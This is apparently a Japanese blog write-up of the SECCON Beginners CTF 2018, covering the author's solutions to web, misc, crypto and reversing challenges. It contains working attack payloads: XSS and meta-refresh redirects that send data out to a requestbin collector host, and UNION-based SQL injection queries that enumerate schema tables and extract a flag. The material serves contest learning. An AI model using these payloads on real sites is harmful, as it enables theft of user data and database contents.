あーさーの備忘録

ゆっくり自由に生きてます

SECCON BeginnersCTF 2018 Write-Up

ctf4b

常設CTFでもサークルの勉強会でもない一般のCTFコンテストに挑戦するのは初めてなので、かなり身構えていました。先に自分の結果を言ってしまうと、791ptで100位/844人でした。初めてにしてはそこそこ頑張れたんじゃないかなぁと自己評価しています。以下のリストは、解けた問題と開始からの時間および点数です。試験勉強や課題も山積みなので、12時間限りにしようと決めていました。

  • [Warmup] Greeting (0:05) 51pt
  • [Warmup] Welcome (1:09) 51pt
  • [Warmup] plain mail (1:13) 51pt
  • [Warmup] Veni, vidi, vici (2:10) 51pt
  • Gimme your comment (2:19) 78pt
  • RSA is Power (3:42) 103pt
  • SECCON Goods (5:32) 121pt
  • [Warmup] Simple Auth (8:36) 51pt
  • てけいさんえくすとりーむず (9:51) 55pt
  • Gimme your comment REVENGE (10:52) 179pt

Web

一応Web開発に携わっている人間ということで、Web問全部解けたのは良かったです。

[Warmup] Greeting <51pt>

EditThisCookieでCookieの値を書き換えました。

Gimme your comment <78pt>

フォームの本文欄でXSSできたので以下のようにscriptを埋め込んでrequestbinを踏んでもらいflagを得た。

<script>location.href="http://requestbin.fullcontact.com/hogehoge"</script>

SECCON Goods <121pt>

axiosで拾ってるjsonのurlにパラメータが渡されている(/items.php?minstock=0)。この0を例えば3にすると、stockが3以上のitemが表示される。そこでSQLインジェクションを疑い、以下のクエリが実行されていると仮定した。

SELECT id, name, description, price, stock 
FROM items
WHERE stock >= [minstock];

この[minstock]の部分はURLのminstockパラメータの値である。ここにいろいろブチ込めばいいと判断し、まずはどんなtableがあるか調べるために[minstock]に0 AND 1 = 0 UNION ALL (SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_COMMENT, TABLE_TYPE, NULL FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE')を入れた。すなわち、以下のクエリを実行した。

SELECT id, name, description, price, stock 
FROM items
WHERE stock >= 0 AND 1 = 0
UNION ALL
(SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_COMMENT, TABLE_TYPE, NULL
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE');

もはやもともとのデータに興味はないのでAND 1 = 0で消えていただき(今から考えれば適当にでかい値入れればよかった)、UNION ALLでmysqlの情報が入っているテーブルからSELECTしたもの追加した。カラムの数が合わないとエラーになるので、余ったカラムにはNULLなり1なり突っ込んでおく。すると、flagという名前のテーブルがあることがわかる。このテーブルの構造が知りたいので、同様に[minstock]に0 AND 1 = 0 UNION ALL (SELECT TABLE_NAME, COLUMN_NAME, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'flag')を入れた。つまり、

SELECT id, name, description, price, stock
FROM items
WHERE stock >= 0 AND 1 = 0
UNION ALL
(SELECT TABLE_NAME, COLUMN_NAME, NULL, NULL, NULL
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'flag');

が実行された。この結果、flagテーブルにはflagというカラム1つがあることがわかる。以上より、[minstock]に0 AND 1 = 0 UNION ALL (SELECT flag, NULL, NULL, NULL, NULL FROM flag)を入れるとflagが出てきます。

SELECT id, name, description, price, stock
FROM items
WHERE stock >= 0 AND 1 = 0
UNION ALL
(SELECT flag, NULL, NULL, NULL, NULL
FROM flag);

Gimme your comment REVENGE <179pt>

CSP(Content Security Policy)が設定されているためscriptを埋め込むことができない。HTMLだけならOKなので、requestbinにリダイレクトするようにmetaタグを埋め込むことでflagを得た。レガシーなmetaタグはheadの外でも動くんですね~~

<meta http-equiv="refresh" content="0; URL=http://requestbin.fullcontact.com/hogehoge">

ちなみに、この方法ならREVENGEじゃない方も同じ方法で出来てしまうので、想定解ではないのだろうと思っていた。実際に同大学の参加者に聞くと、actionを別の場所にしたform要素を偽装するのが想定解らしい。

Misc

[Warmup] plain mail <51pt>

strings packet.pcapしたらそれっぽい添付ファイルのBASE64コードとパスワードのような文字列が出てきたので、添付ファイルをdecodeし、出てきたzipファイルにパスワードを入力して解凍した。

[Warmup] Welcome <51pt>

解説不要

てけいさんえくすとりーむず <55pt>

python2で書いた。switch文ほしい。

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690))

s.recv(261)

for i in range(100):
    data = s.recv(100)
    formula = data.split(")\n")
    print formula[1]
    elem = formula[1].split(' ')
    if elem[1] == '+':
        ans = str(int(elem[0]) + int(elem[2]))
    elif elem[1] == '-':
        ans = str(int(elem[0]) - int(elem[2]))
    elif elem[1] == '*':
        ans = str(int(elem[0]) * int(elem[2]))
    elif elem[1] == '/':
        ans = str(int(elem[0]) / int(elem[2]))
    print ans
    s.send(ans + "\n")
print s.recv(100)

Crypt

[Warmup] Veni, vidi, vici <51pt>

驚異的なエスパー能力によりROT13, ROT8であると分かったのでdecodeした。最後のはCtrl + Alt + ↓で画面をひっくり返して読んだ。

RSA is Power <103pt>

これもエスパーで97139961312384239075080721131188244842051515305572003521287545456189235939577を素因数分解した……わけではなく、factordb.comに突っ込んで調べた。最初はプログラムを書いてやってみたが死ぬほど時間がかかるので諦めた。あとはRSAの式に従ってdecode

Reversing

[Warmup] Simple Auth <51pt>

ltrace ./simple_authしたら見えた

まとめ

相変わらずアセンブリ読んでいく問題が苦手だなぁと痛感しました。CryptoのStreamingは寝坊さえしなければ解けたかもしれないです。ところでSQLi問題はその脆弱性を利用してflag自体を書き換えることすらできてしまうのは問題としてどうなんでしょうね。競技中に特に問題が起こらなかったようでよかったです。